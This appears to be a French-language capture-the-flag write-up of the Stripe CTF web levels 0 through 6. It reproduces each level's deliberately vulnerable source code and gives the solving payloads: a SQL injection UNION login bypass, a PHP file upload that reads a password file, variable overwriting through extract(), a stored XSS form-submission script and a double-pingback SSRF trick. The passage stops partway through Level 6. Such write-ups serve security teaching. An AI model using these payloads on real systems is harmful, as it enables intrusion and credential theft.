Table des matières

Level 0

Enonce

We'll start you out with Level 0, the Secret Safe. The Secret Safe is designed as a secure place to store all of your secrets.
It turns out that the password to access Level 1 is stored within the Secret Safe. If only you knew how to crack safes…
You can access the Secret Safe at https://level00-1.stripe-ctf.com/user-kfsvkinufw.
The Safe's code is included below, and can also be obtained via git clone https://level00-1.stripe-ctf.com/user-kfsvkinufw/level00-code.

Code

Here's the code for level00.js, the main server file:

// Install dependencies with 'npm install'
// Run as 'node level00.js'
 
var express = require('express'), // Web framework
    mu = require('mu2'),          // Mustache.js templating
    sqlite3 = require('sqlite3'); // SQLite (database) driver
 
// Look for templates in the current directory
mu.root = __dirname;
 
// Set up the DB
var db = new sqlite3.Database('level00.db');
db.run(
  'CREATE TABLE IF NOT EXISTS secrets (' +
    'key varchar(255),' +
    'secret varchar(255)' +
  ')'
);
 
// Create the server
var app = express();
app.use(express.bodyParser());
 
function renderPage(res, variables) {
  var stream = mu.compileAndRender('level00.html', variables);
  res.header('Content-Type', 'text/html');
  stream.pipe(res);
}
 
app.get('/*', function(req, res) {
  var namespace = req.param('namespace');
 
  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {
             if (err) throw err;
 
             renderPage(res, {namespace: namespace, secrets: secrets});
           });
  } else {
    renderPage(res, {});
  }
});
 
app.post('/*', function(req, res) {
  var namespace = req.body['namespace'];
  var secret_name = req.body['secret_name'];
  var secret_value = req.body['secret_value'];
 
  var query = 'INSERT INTO secrets (key, secret) VALUES (? || "." || ?, ?)';
  db.run(query, namespace, secret_name, secret_value, function(err) {
     if (err) throw err;
 
           res.header('Content-Type', 'text/html');
           res.redirect(req.path + '?namespace=' + namespace);
         });
});
 
if (process.argv.length > 2) {
  var socket = process.argv[2];
  console.log("Starting server on UNIX socket " + socket);
  app.listen(socket);
} else {
  console.log("Starting server at http://localhost:3000/");
  app.listen(3000);
}

And here's the code for level00.html, its mustache.js template:

<html>
  <head>
    <title>Secret Safe</title>
  </head>
  <body>
    {{#namespace}}
    <div style="border-width: 2px; border-style: outset; padding: 5px">
      Showing secrets for <strong>{{namespace}}</strong>:
      <table>
        <thead>
          <tr>
            <th>Key</th>
            <th>Value</th>
          </tr>
        </thead>
        <tbody>
          {{#secrets}}
          <tr>
            <td>{{ key }}</td>
            <td>{{ secret }}</td>
          </tr>
          {{/secrets}}
          {{^secrets}}
          <tr>
            <td span="2">
              You have no secrets stored with us. Try using the form below.
            </td>
          </tr>
          {{/secrets}}
        </tbody>
      </table>
 
      <hr />
    </div>
    {{/namespace}}
 
    <form action="" method="POST">
      <p>
        <label for="namespace">Namespace:</label>
        <input type="text" name="namespace" id="namespace"
            value="{{ namespace }}" />
      </p>
      <p>
        <label for="secret_name">Name of your secret:</label>
        <input type="text" name="secret_name" id="secret_name">
      </p>
      <p>
        <label for="secret_value">Your secret:</label>
        <input type="password" name="secret_value" id="secret_value">
      </p>
      <p>
        <input type="submit" value="Store my secret!" />
      </p>
    </form>
    <form action="" method="GET">
      <label for="change_namespace">
        Want to retrieve your secrets? View secrets for:
      </label>
      <input name="namespace" id="change_namespace" />
      <input type="submit" value="View" />
    </form>
  </body>
</html>

Solution

Pour ajouter un secret, il faut definir le namespace, une cle et une valeur, secret qui sera stocké sous la forme key = namespace.cle et secret = valeur

app.post('/*', function(req, res) {
  var namespace = req.body['namespace'];
  var secret_name = req.body['secret_name'];
  var secret_value = req.body['secret_value'];
 
  var query = 'INSERT INTO secrets (key, secret) VALUES (? || "." || ?, ?)';
  db.run(query, namespace, secret_name, secret_value, function(err) {

La requete GET pour afficher les secrets requiert un parametre, le namespace et est construite avec

app.get('/*', function(req, res) {
  var namespace = req.param('namespace');
 
  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {

Cette requete affiche donc tous les secrets du namespace passé en argument. Il suffit d'utiliser % comme parametre pour afficher tous les secrets de tous les namespaces et donc le mot de passe.

Level 1

Enonce

Excellent, you are now on Level 1, the Guessing Game. All you have to do is guess the combination correctly, and you'll be given
the password to access Level 2! We've been assured that this level has no security vulnerabilities in it
(and the machine running the Guessing Game has no outbound network connectivity, meaning you wouldn't be able to extract the password anyway), so >you'll probably just have to try all the possible combinations. Or will you…?

You can play the Guessing Game at https://level01-2.stripe-ctf.com/user-ntyjkglswi. The code for the Game can be obtained from
git clone https://level01-2.stripe-ctf.com/user-ntyjkglswi/level01-code, and is also included below.

Code

The contents of index.php

<html>
  <head>
    <title>Guessing Game</title>
  </head>
  <body>
    <h1>Welcome to the Guessing Game!</h1>
    <p>
      Guess the secret combination below, and if you get it right,
      you'll get the password to the next level!
    </p>
    <?php
      $filename = 'secret-combination.txt';
      extract($_GET);
      if (isset($attempt)) {
        $combination = trim(file_get_contents($filename));
        if ($attempt === $combination) {
          echo "<p>How did you know the secret combination was" .
               " $combination!?</p>";
          $next = file_get_contents('level02-password.txt');
          echo "<p>You've earned the password to the access Level 2:" .
               " $next</p>";
        } else {
          echo "<p>Incorrect! The secret combination is not $attempt</p>";
        }
      }
    ?>
    <form action="#" method="GET">
      <p><input type="text" name="attempt"></p>
      <p><input type="submit" value="Guess!"></p>
    </form>
  </body>
</html>

Solution

Le code php prend l'input de la requete GET attempt en utilisant la methode extract(_GET). Ensuite le serveur lit le contenu du fichier $filename. Si le parametre attempt est egal au contenu du fichier $filename, le mot de passe est affiche. L'ordre dans lequel le serveur definit le fichier a lire et le lit est important. En effet, la variable $filename est initialisee, puis les parametres de la requete GET sont lus et finalement le contenu du fichier est lu. En ajoutant a la requete GET un parametre filename, ce parametre va remplacer le contenu de la variable $filename par le nom de notre fichier. Il ne reste plus qu'a trouver un fichier dont on connait le contenu, par exemple

Autre solution :

Le fichier a n'existant pas il suffit de laisser le champ password vide.

Level 2

Enonce

You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days,
so we decided to build one for CTF. Please fill out your profile at https://level02-3.stripe-ctf.com/user-zjfpnuykfi.
You may even be able to find the password for Level 3 by doing so.
The code for the Social Network can be obtained from git clone https://level02-3.stripe-ctf.com/user-zjfpnuykfi/level02-code,
and is also included below.

Code

The contents of index.php

<?php
  session_start();
 
  if ($_FILES["dispic"]["error"] > 0) {
    echo "<p>Error: " . $_FILES["dispic"]["error"] . "</p>";
  }
  else
  {
    $dest_dir = "uploads/";
    $dest = $dest_dir . basename($_FILES["dispic"]["name"]);
    $src = $_FILES["dispic"]["tmp_name"];
    if (move_uploaded_file($src, $dest)) {
      $_SESSION["dispic_url"] = $dest;
      chmod($dest, 0644);
      echo "<p>Successfully uploaded your display picture.</p>";
    }
  }
 
  $url = "https://upload.wikimedia.org/wikipedia/commons/f/f8/" .
         "Question_mark_alternate.svg";
  if (isset($_SESSION["dispic_url"])) {
    $url = $_SESSION["dispic_url"];
  }
 
?>
 
<html>
  <head>
    <title>Welcome to the CTF!</title>
  </head>
  <body>
    <center>
      <h1>Welcome to the CTF Social Network!</h1>
      <div>
        <img src=<?php echo $url; ?> />
        <?php
          if (!isset($_SESSION["dispic_url"])) {
            echo "<p>Oh, looks like you don't have a profile image" .
                 " -- upload one now!</p>";
          }
        ?>
        <form action="" method="post" enctype="multipart/form-data">
          <input type="file" name="dispic" size="40" />
          <input type="submit" value="Upload!">
        </form>
 
        <p>
           Password for Level 3 (accessible only to members of the club):
           <a href="password.txt">password.txt</a>
        </p>
      </div>
    </center>
  </body>
</html>

Solution

En cliquant sur le lien contenant le mot de passe, on obtient un 403 Forbidden. L'application permet d'uploader une image pour son profil. En analysant le code source, on s'apercoit qu'il n'y a aucune verification faite par le serveur et que l'on peut uploader n'importe quel fichier qui sera stocke dans le sous-repertoire uploads. Il suffit donc d'uploader un fichier php qui lira le contenu du fichier password.txt et l'affiche puis de l'appeler directement

<?php
$combination = file_get_contents('../password.txt');
echo "$combination"
?>

Level 3

Enonce

After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of like Unbreakable Linux). >The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets.
A beta version has launched with some interesting secrets (including the password to access Level 4); you can check it out at >https://level03-1.stripe-ctf.com/user-odmhvomxhm. As usual, you can fetch the code for the level (and some sample data) via git clone >https://level03-1.stripe-ctf.com/user-odmhvomxhm/level03-code, or you can read the code below.

Code

The source of the server, secretvault.py, is:

#!/usr/bin/env python
#
# Welcome to the Secret Safe!
#
# - users/users.db stores authentication info with the schema:
#
# CREATE TABLE users (
#   id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
#   username VARCHAR(255),
#   password_hash VARCHAR(255),
#   salt VARCHAR(255)
# );
#
# - For extra security, the dictionary of secrets lives
#   data/secrets.json (so a compromise of the database won't
#   compromise the secrets themselves)
 
import flask
import hashlib
import json
import logging
import os
import sqlite3
import subprocess
import sys
from werkzeug import debug
 
# Generate test data when running locally
data_dir = os.path.join(os.path.dirname(__file__), 'data')
if not os.path.exists(data_dir):
    import generate_data
    os.mkdir(data_dir)
    generate_data.main(data_dir, 'dummy-password', 'dummy-proof', 'dummy-plans')
 
secrets = json.load(open(os.path.join(data_dir, 'secrets.json')))
index_html = open('index.html').read()
app = flask.Flask(__name__)
 
# Turn on backtraces, but turn off code execution (that'd be an easy level!)
app.config['PROPAGATE_EXCEPTIONS'] = True
app.wsgi_app = debug.DebuggedApplication(app.wsgi_app, evalex=False)
 
app.logger.addHandler(logging.StreamHandler(sys.stderr))
# use persistent entropy file for secret_key
app.secret_key = open(os.path.join(data_dir, 'entropy.dat')).read()
 
# Allow setting url_root if needed
try:
    from local_settings import url_root
except ImportError:
    pass
 
def absolute_url(path):
    return url_root + path
 
@app.route('/')
def index():
    try:
        user_id = flask.session['user_id']
    except KeyError:
        return index_html
    else:
        secret = secrets[str(user_id)]
        return (u'Welcome back! Your secret is: "{0}"'.format(secret) +
                u' (<a href="./logout">Log out</a>)\n')
 
@app.route('/logout')
def logout():
    flask.session.pop('user_id', None)
    return flask.redirect(absolute_url('/'))
 
@app.route('/login', methods=['POST'])
def login():
    username = flask.request.form.get('username')
    password = flask.request.form.get('password')
 
    if not username:
        return "Must provide username\n"
 
    if not password:
        return "Must provide password\n"
 
    conn = sqlite3.connect(os.path.join(data_dir, 'users.db'))
    cursor = conn.cursor()
 
    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
    cursor.execute(query)
 
    res = cursor.fetchone()
    if not res:
        return "There's no such user {0}!\n".format(username)
    user_id, password_hash, salt = res
 
    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)
 
    flask.session['user_id'] = user_id
    return flask.redirect(absolute_url('/'))
 
if __name__ == '__main__':
    # In development: app.run(debug=True)
    app.run()

And here's index.html, the HTML file it's serving:

<html>
  <body>
    <p>
      Welcome to the Secret Safe, a place to guard your most
      precious secrets! To retreive your secrets, log in below.
    </p>
 
    <p>The current users of the system store the following secrets:</p>
 
    <ul>
      <li>bob: Stores the password to access level 04</li>
      <li>eve: Stores the proof that P = NP </li>
      <li>mallory: Stores the plans to a perpetual motion machine </li>
    </ul>
 
    <p>
      You should use it too!
      <a href="http://www.youtube.com/watch?v=oHg5SJYRHA0">Contact us</a>
      to request a beta invite.
    </p>
 
    <form method="POST" action="./login">
      <p>
        <label for="username">Username:</label>
        <input type="text" name="username" id="username">
      </p>
      <p>
        <label for="password">Password:</label>
        <input type="password" name="password" id="password">
      </p>
      <input type="submit" value="Recover your secrets now!">
    </form>
  </body>
</html>

Solution

Le mot de passe est le secret de bob. Il faut donc essayer de se connecter en tant que bob. Si on regarde comment est fait le login

query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
    cursor.execute(query)
 
    res = cursor.fetchone()
    if not res:
        return "There's no such user {0}!\n".format(username)
    user_id, password_hash, salt = res
 
    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

il y a une requete faite pour voir si l'utilisateur existe dans la bdd et ensuite le hash du mot de passe + salt est compare a la valeur sauvegardee. On ne connait ni le mot de passe de bob, ni le salt, on va donc essayer de modifier la requete SQL pour qu'elle nous rende des valeurs que l'on aura fixees. Par exemple, on aimerait bien avoir a comme mot de passe et a comme salt. On calcule le hash du mot de passe et du salt

import hashlib
 
password = 'a'
salt = 'a'
calculated_hash = hashlib.sha256(password + salt)
 
print calculated_hash.hexdigest()

ce qui nous donne 961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506

Il ne nous reste plus qu'a manipuler la requete SQL pour que le premier resultat (a cause de LIMIT 1) contienne les bonnes valeurs (ie l'id de bob, le password_hash calcule et le salt choisi)

On utilise donc comme utilisateur aaa' union select id,”961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506”, “a” from users where username = 'bob et comme mot de passe a

Level 4

Enonce

The Karma Trader is the world's best way to reward people for good deeds: https://level04-2.stripe-ctf.com/user-xuqitemtqa.
You can sign up for an account, and start transferring karma to people who you think are doing good in the world.
In order to ensure you're transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.
The very active user karma_fountain has infinite karma, making it a ripe account to obtain
(no one will notice a few extra karma trades here and there). The password for karma_fountain's account will give you access to Level 5.
You can obtain the full, runnable source for the Karma Trader from git clone https://level04-2.stripe-ctf.com/user-xuqitemtqa/level04-code.
We've included the most important files below.

Code

The contents of srv.rb

#!/usr/bin/env ruby
require 'yaml'
require 'set'
 
require 'rubygems'
require 'bundler/setup'
 
require 'sequel'
require 'sinatra'
 
module KarmaTrader
  PASSWORD = File.read('password.txt').strip
  STARTING_KARMA = 500
  KARMA_FOUNTAIN = 'karma_fountain'
 
  # Only needed in production
  URL_ROOT = File.read('url_root.txt').strip rescue ''
 
  module DB
    def self.db_file
      'karma.db'
    end
 
    def self.conn
      @conn ||= Sequel.sqlite(db_file)
    end
 
    def self.init
      return if File.exists?(db_file)
      File.umask(0066)
 
      conn.create_table(:users) do
        primary_key :id
        String :username
        String :password
        Integer :karma
        Time :last_active
      end
 
      conn.create_table(:transfers) do
        primary_id :id
        String :from
        String :to
        Integer :amount
      end
 
      # Karma Fountain has infinite karma, so just set it to -1
      conn[:users].insert(
        :username => KarmaTrader::KARMA_FOUNTAIN,
        :password => KarmaTrader::PASSWORD,
        :karma => -1,
        :last_active => Time.now.utc
        )
    end
  end
 
  class KarmaSrv < Sinatra::Base
    set :environment, :production
    enable :sessions
 
    # Use persistent entropy file
    entropy_file = 'entropy.dat'
    unless File.exists?(entropy_file)
      File.open(entropy_file, 'w') do |f|
        f.write(OpenSSL::Random.random_bytes(24))
      end
    end
    set :session_secret, File.read(entropy_file)
 
    helpers do
      def absolute_url(path)
        KarmaTrader::URL_ROOT + path
      end
    end
 
    # Hack to make this work with a URL root
    def redirect(url)
      super(absolute_url(url))
    end
 
    def die(msg, view)
      @error = msg
      halt(erb(view))
    end
 
    before do
      refresh_state
      update_last_active
    end
 
    def refresh_state
      @user = logged_in_user
      @transfers = transfers_for_user
      @trusts_me = trusts_me
      @registered_users = registered_users
    end
 
    def update_last_active
      return unless @user
      DB.conn[:users].where(:username => @user[:username]).
        update(:last_active => Time.now.utc)
    end
 
    def logged_in_user
      return unless username = session[:user]
      DB.conn[:users][:username => username]
    end
 
    def transfers_for_user
      return [] unless @user
 
      DB.conn[:transfers].where(
        Sequel.or(:from => @user[:username], :to => @user[:username])
        )
    end
 
    def trusts_me
      trusts_me = Set.new
      return trusts_me unless @user
 
      # Get all the users who have transferred credits to me
      DB.conn[:transfers].where(:to => @user[:username]).
        join(:users, :username => :from).each do |result|
        trusts_me.add(result[:username])
      end
 
      trusts_me
    end
 
    def registered_users
      KarmaTrader::DB.conn[:users].reverse_order(:id)
    end
 
    # KARMA_FOUNTAIN gets all the karma it wants. (Part of why getting
    # its password would be so great...)
    def user_has_infinite_karma?
      @user[:username] == KARMA_FOUNTAIN
    end
 
    get '/' do
      if @user
        erb :home
      else
        erb :login
      end
    end
 
    get '/register' do
      erb :register
    end
 
    post '/register' do
      username = params[:username]
      password = params[:password]
      unless username && password
        die("Please specify both a username and a password.", :register)
      end
 
      unless username =~ /^\w+$/
        die("Invalid username. Usernames must match /^\w+$/", :register)
      end
 
      unless DB.conn[:users].where(:username => username).count == 0
        die("This username is already registered. Try another one.",
            :register)
      end
 
      DB.conn[:users].insert(
        :username => username,
        :password => password,
        :karma => STARTING_KARMA,
        :last_active => Time.now.utc
        )
      session[:user] = username
      redirect '/'
    end
 
    get '/login' do
      redirect '/'
    end
 
    post '/login' do
      username = params[:username]
      password = params[:password]
      user = DB.conn[:users][:username => username, :password => password]
      unless user
        die('Could not authenticate. Perhaps you meant to register a new' \
            ' account? (See link below.)', :login)
      end
 
      session[:user] = user[:username]
      redirect '/'
    end
 
    get '/transfer' do
      redirect '/'
    end
 
    post '/transfer' do
      redirect '/' unless @user
 
      from = @user[:username]
      to = params[:to]
      amount = params[:amount]
 
      die("Please fill out all the fields.", :home) unless amount && to
      amount = amount.to_i
      die("Invalid amount specified.", :home) if amount <= 0
      die("You cannot send yourself karma!", :home) if to == from
      unless DB.conn[:users][:username => to]
        die("No user with username #{to.inspect} found.", :home)
      end
 
      unless user_has_infinite_karma?
        if @user[:karma] < amount
          die("You only have #{@user[:karma]} karma left.", :home)
        end
      end
 
      DB.conn[:transfers].insert(:from => from, :to => to, :amount => amount)
      DB.conn[:users].where(:username=>from).update(:karma => :karma - amount)
      DB.conn[:users].where(:username=>to).update(:karma => :karma + amount)
 
      refresh_state
      @success = "You successfully transfered #{amount} karma to" +
                 " #{to.inspect}."
      erb :home
    end
 
    get '/logout' do
      session.clear
      redirect '/'
    end
  end
end
 
def main
  KarmaTrader::DB.init
  KarmaTrader::KarmaSrv.run!
end
 
if $0 == __FILE__
  main
  exit(0)
end

The contents of views/home.erb:

<h1>Welcome to Karma Trader!</h1>
 
<h3>Home</h3>
<p>You are logged in as <%= @user[:username] %>.</p>
 
<h3>Transfer karma</h3>
<p>
  You have <%= @user[:karma] %> karma at the moment. Transfer
  karma to people who have done good deeds and you think will keep
  doing good deeds in the future.
</p>
 
<p>
  Note that transferring karma to someone will reveal your
  password to them, which will hopefully incentivize you to only
  give karma to people you really trust.
</p>
 
<p>
  If you're anything like <strong>karma_fountain</strong>, you'll find
  yourself logging in every minute to see what new and exciting
  developments are afoot on the platform. (Though no need to be as paranoid as
  <strong>karma_fountain</strong> and firewall your outbound network connections
  so you can only make connections to the Karma Trader server itself.)
</p>
 
<p>See below for a list of all registered usernames.</p>
<form action="<%= absolute_url('/transfer') %>" method="POST">
  <p>To: <input type="to" name="to" /></p>
  <p>Amount of karma: <input type="text" name="amount" /></p>
  <p><input type="submit" value="Submit" /></p>
</form>
 
<h3>Past transfers</h3>
<table border="1">
  <tr>
    <th>From</th>
    <th>To</th>
    <th>Amount</th>
  </tr>
  <% @transfers.each do |transfer| %>
  <tr>
    <td><%= transfer[:from] %></td>
    <td><%= transfer[:to] %></td>
    <td><%= transfer[:amount] %></td>
  </tr>
  <% end %>
</table>
 
<h3> Registered Users </h3>
<ul>
  <% @registered_users.each do |user| %>
  <% last_active = user[:last_active].strftime('%H:%M:%S UTC') %>
  <% if @trusts_me.include?(user[:username]) %>
  <li>
    <%= user[:username] %>
    (password: <%= user[:password] %>, last active <%= last_active %>)
  </li>
  <% elsif user[:username] == @user[:username] %>
  <li>
    <%= user[:username] %>
    (<strong>you</strong>, last active <%= last_active %>)
  </li>
  <% else %>
  <li>
    <%= user[:username] %>
    (password: <i>[hasn't yet transferred karma to you]</i>,
    last active <%= last_active %>)
  </li>
  <% end %>
  <% end %>
</ul>
 
<p><a href="<%= absolute_url('/logout') %>">Log out</a></p>

The contents of views/login.erb:

<h1>
  Welcome to Karma Trader, the best way to reward people for good deeds!
</h1>
 
<h3>Login</h3>
 
<form action="<%= absolute_url('/login') %>" method="POST">
  <p>Username: <input type="text" name="username" /></p>
  <p>Password: <input type="password" name="password" /></p>
  <p><input type="submit" value="Log in" /></p>
</form>
 
<p>
  Don't have an account?
  <a href="<%= absolute_url('/register') %>">Register</a> now!
</p>

The contents of views/register.erb:

<h1>Welcome to Karma Trader, the best way to reward people for good deeds!</h1>
 
<h3>Register</h3>
 
<form action="<%= absolute_url('/register') %>" method="POST">
  <p>Pick your username: <input type="text" name="username" /></p>
  <p>Choose a password: <input type="password" name="password" /></p>
  <p><input type="submit" value="Create account" /></p>
</form>
 
<p>Already have an account? <a href="<%= absolute_url('/') %>">Log in</a> now!</p>

The contents of views/layout.erb:

<!doctype html>
<html>
  <head>
    <title>Karma Trader</title>
    <script type="text/javascript"
            src="<%= absolute_url('/js/jquery-1.8.0.min.js') %>"></script>
  </head>
  <body>
<% if @error %>
  <p>Error: <%= @error %></p>
<% end %>
<% if @success %>
  <p>Success: <%= @success %></p>
<% end %>
 
<%= yield %>
  </body>
</html>

Solution

Apres avoir cree un account, on arrive sur la page principale qui affiche une form pour faire des transferts de karma ainsi que la liste des utilisteurs enregistres. Si ces derniers nous ont deja transfere du karma, leur mot de passe est affiche. Le mot de passe du niveau etant le mot de passe de l'utilisateur karma_fountain, il va falloir le convaincre de nous transferer du karma. Pour y parvenir, on va s'enregistrer avec un mot de passe specialement prepare de maniere a ce que lorsqu'on aura transfere du karma a karma_fountain, notre mot de passe sera affiche sur sa page et cela entrainera un transfert de karma vers notre compte et nous aurons son mot de passe.

Le script doit donc recuperer la forme, remplir les champs et la soumettre

<script>
  document.forms[0].to.value="mooh";
  document.forms[0].amount.value=1;
  document.forms[0].submit();
</script>

On utilise donc par exemple mooh comme utilisateur, ce script comme mot de passe, on transfere 1 karma karma_fountain et on attend qu'il se connecte.

Level 5

Enonce

Many attempts have been made at creating a federated identity system for the web (see OpenID, for example).
However, none of them have been successful. Until today.
The DomainAuthenticator is based off a novel protocol for establishing identities.
To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials
to the pingback URL, which returns either “AUTHENTICATED” or “DENIED”. If “AUTHENTICATED”, the site considers you signed in
as a user for the pingback domain.
You can check out the Stripe CTF DomainAuthenticator instance here: https://level05-2.stripe-ctf.com/user-afhnkxzjxh.
We've been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine…
To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access.
It can only make outbound requests to other stripe-ctf.com servers. Though, you've heard that someone forgot to internally firewall
off the high ports from the Level 2 server.
Interesting in setting up your own DomainAuthenticator? You can grab the source from
git clone https://level05-2.stripe-ctf.com/user-afhnkxzjxh/level05-code, or by reading on below.

Code

The contents of srv.rb

#!/usr/bin/env ruby
require 'rubygems'
require 'bundler/setup'
 
require 'logger'
require 'uri'
 
require 'restclient'
require 'sinatra'
 
$log = Logger.new(STDERR)
$log.level = Logger::INFO
 
module DomainAuthenticator
  class DomainAuthenticatorSrv < Sinatra::Base
    set :environment, :production
 
    # Run with the production file on the server
    if File.exists?('production')
      PASSWORD_HOSTS = /^level05-\d+\.stripe-ctf\.com$/
      ALLOWED_HOSTS = /\.stripe-ctf\.com$/
    else
      PASSWORD_HOSTS = /^localhost$/
      ALLOWED_HOSTS = //
    end
    PASSWORD = File.read('password.txt').strip
    enable :sessions
 
    # Use persistent entropy file
    entropy_file = 'entropy.dat'
    unless File.exists?(entropy_file)
      File.open(entropy_file, 'w') do |f|
        f.write(OpenSSL::Random.random_bytes(24))
      end
    end
    set :session_secret, File.read(entropy_file)
 
    get '/*' do
      output = <<EOF
<p>
  Welcome to the Domain Authenticator. Please authenticate as a user from
  your domain of choice.
</p>
 
<form action="" method="POST">
<p>Pingback URL: <input type="text" name="pingback" /></p>
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="Submit"></p>
</form>
EOF
 
      user = session[:auth_user]
      host = session[:auth_host]
      if user && host
        output += "<p> You are authenticated as #{user}@#{host}. </p>"
        if host =~ PASSWORD_HOSTS
          output += "<p> Since you're a user of a password host and all,"
          output += " you deserve to know this password: #{PASSWORD} </p>"
        end
      end
 
      output
    end
 
    post '/*' do
      pingback = params[:pingback]
      username = params[:username]
      password = params[:password]
 
      pingback = "http://#{pingback}" unless pingback.include?('://')
 
      host = URI.parse(pingback).host
      unless host =~ ALLOWED_HOSTS
        return "Host not allowed: #{host}" \
               " (allowed authentication hosts are #{ALLOWED_HOSTS.inspect})"
      end
 
      begin
        body = perform_authenticate(pingback, username, password)
      rescue StandardError => e
        return "An unknown error occurred while requesting #{pingback}: #{e}"
      end
 
      if authenticated?(body)
        session[:auth_user] = username
        session[:auth_host] = host
        return "Remote server responded with: #{body}." \
               " Authenticated as #{username}@#{host}!"
      else
        session[:auth_user] = nil
        session[:auth_host] = nil
        sleep(1) # prevent abuse
        return "Remote server responded with: #{body}." \
               " Unable to authenticate as #{username}@#{host}."
      end
    end
 
    def perform_authenticate(url, username, password)
      $log.info("Sending request to #{url}")
      response = RestClient.post(url, {:password => password,
                                       :username => username})
      body = response.body
 
      $log.info("Server responded with: #{body}")
      body
    end
 
    def authenticated?(body)
      body =~ /[^\w]AUTHENTICATED[^\w]*$/
    end
  end
end
 
def main
  DomainAuthenticator::DomainAuthenticatorSrv.run!
end
 
if $0 == __FILE__
  main
  exit(0)
end

Solution

On a un formulaire avec 3 champs, l'url pour le pingback, le username et le password. L'application va faire une requete au serveur dont l'url a ete donnee et en fonction du resultat, l'utilisateur sera authentifie sur ce serveur.

      PASSWORD_HOSTS = /^level05-\d+\.stripe-ctf\.com$/
      ALLOWED_HOSTS = /\.stripe-ctf\.com$/

On remarque que seuls les serveurs sur stripe-ctf.com sont permis. L'indice avec les high ports du serveur 2 est en fait un faux indice. C'est juste pour nous rappeler qu'il est possible d'uploader des fichiers sur ce serveur. Pour etre authentifie, la reponse du serveur doit verifier:

    def authenticated?(body)
      body =~ /[^\w]AUTHENTICATED[^\w]*$/
    end

Si on upload le fichier suivant

<?php
  echo " AUTHENTICATED ";
?>

et on l'utilise directement comme adresse de pingback (https://level02-3.stripe-ctf.com/user-zjfpnuykfi/uploads/test3.php), l'application nous dit qu'on est bien authentifie. Malheureusement le mot de passe ne s'affiche pas car on est authentifie sur le serveur 02 et non 05

output += "<p> You are authenticated as #{user}@#{host}. </p>"
        if host =~ PASSWORD_HOSTS
          output += "<p> Since you're a user of a password host and all,"
          output += " you deserve to know this password: #{PASSWORD} </p>"
        end

Il faut donc que l'url du pingback serveur commence par level05. Et comme l'a fait remarque Mortis, en ruby params lit les parametre GET et POST. En utilisant comme url https://level05-2.stripe-ctf.com/user-afhnkxzjxh/?pingback=https://level02-3.stripe-ctf.com/user-zjfpnuykfi/uploads/test3.php, l'application va faire un double pingback. Il faut donc que la premiere requete vers le serveur 02 verifie la regex body =~ /[^\w]AUTHENTICATED[^\w]*$/. La reponse est de la forme: Server responded with: AUTHENTICATED …. Si on utilise le meme fichier, lors du second pingback, la reponse ne verifie plus la condition body =~ /[^\w]AUTHENTICATED[^\w]*$/ a cause du Server responded with sur la meme ligne. Il faut donc modifier le fichier php pour que cette condition soit aussi verifiee. En utilisant

<?php
 echo "\n";
 echo " AUTHENTICATED ";
 echo "\n";
?>

les 2 reponses des 2 pingbacks sont valides et l'application nous dit qu'on est authentifie sur le serveur 05 et affiche le mot de passe

Level 6

Enonce

After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends. You can access your Streamer instance here: https://level06-2.stripe-ctf.com/user-fgdshrgpxf
The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you've learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user.
As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.
Fortunately for you, the Streamer engineers have decided to open-source their application so that other people can run their own Streamer instances. You can obtain the source for Streamer at git clone https://level06-2.stripe-ctf.com/user-fgdshrgpxf/level06-code. We've also included the most important files below.

Code

The contents of srv.rb

#!/usr/bin/env ruby
require 'rubygems'
require 'bundler/setup'
 
require 'rack/utils'
require 'rack/csrf'
require 'json'
require 'sequel'
require 'sinatra'
 
module Streamer
  PASSWORD = File.read('password.txt').strip
 
  # Only needed in production
  URL_ROOT = File.read('url_root.txt').strip rescue ''
 
  module DB
    def self.db_file
      'streamer.db'
    end
 
    def self.conn
      @conn ||= Sequel.sqlite(db_file)
    end
 
    def self.safe_insert(table, key_values)
      key_values.each do |key, value|
        # Just in case people try to exfiltrate
        # level07-password-holder's password
        if value.kind_of?(String) &&
            (value.include?('"') || value.include?("'"))
          raise "Value has unsafe characters"
        end
      end
 
      conn[table].insert(key_values)
    end
 
    def self.init
      return if File.exists?(db_file)
      File.umask(0066)
 
      conn.create_table(:users) do
        primary_key :id
        String :username
        String :password
        Time :last_active
      end
 
      conn.create_table(:posts) do
        primary_id :id
        String :user
        String :title
        String :body
        Time :time
      end
 
      conn[:users].insert(:username => 'level07-password-holder',
        :password => Streamer::PASSWORD,
        :last_active => Time.now.utc)
 
      conn[:posts].insert(:user => 'level07-password-holder',
        :title => 'Hello World',
        :body => "Welcome to Streamer, the most streamlined way of sharing
updates with your friends!
 
One great feature of Streamer is that no password resets are needed. I, for
example, have a very complicated password (including apostrophes, quotes, you
name it!). But I remember it by clicking my name on the right-hand side and
seeing what my password is.
 
Note also that Streamer can run entirely within your corporate firewall. My
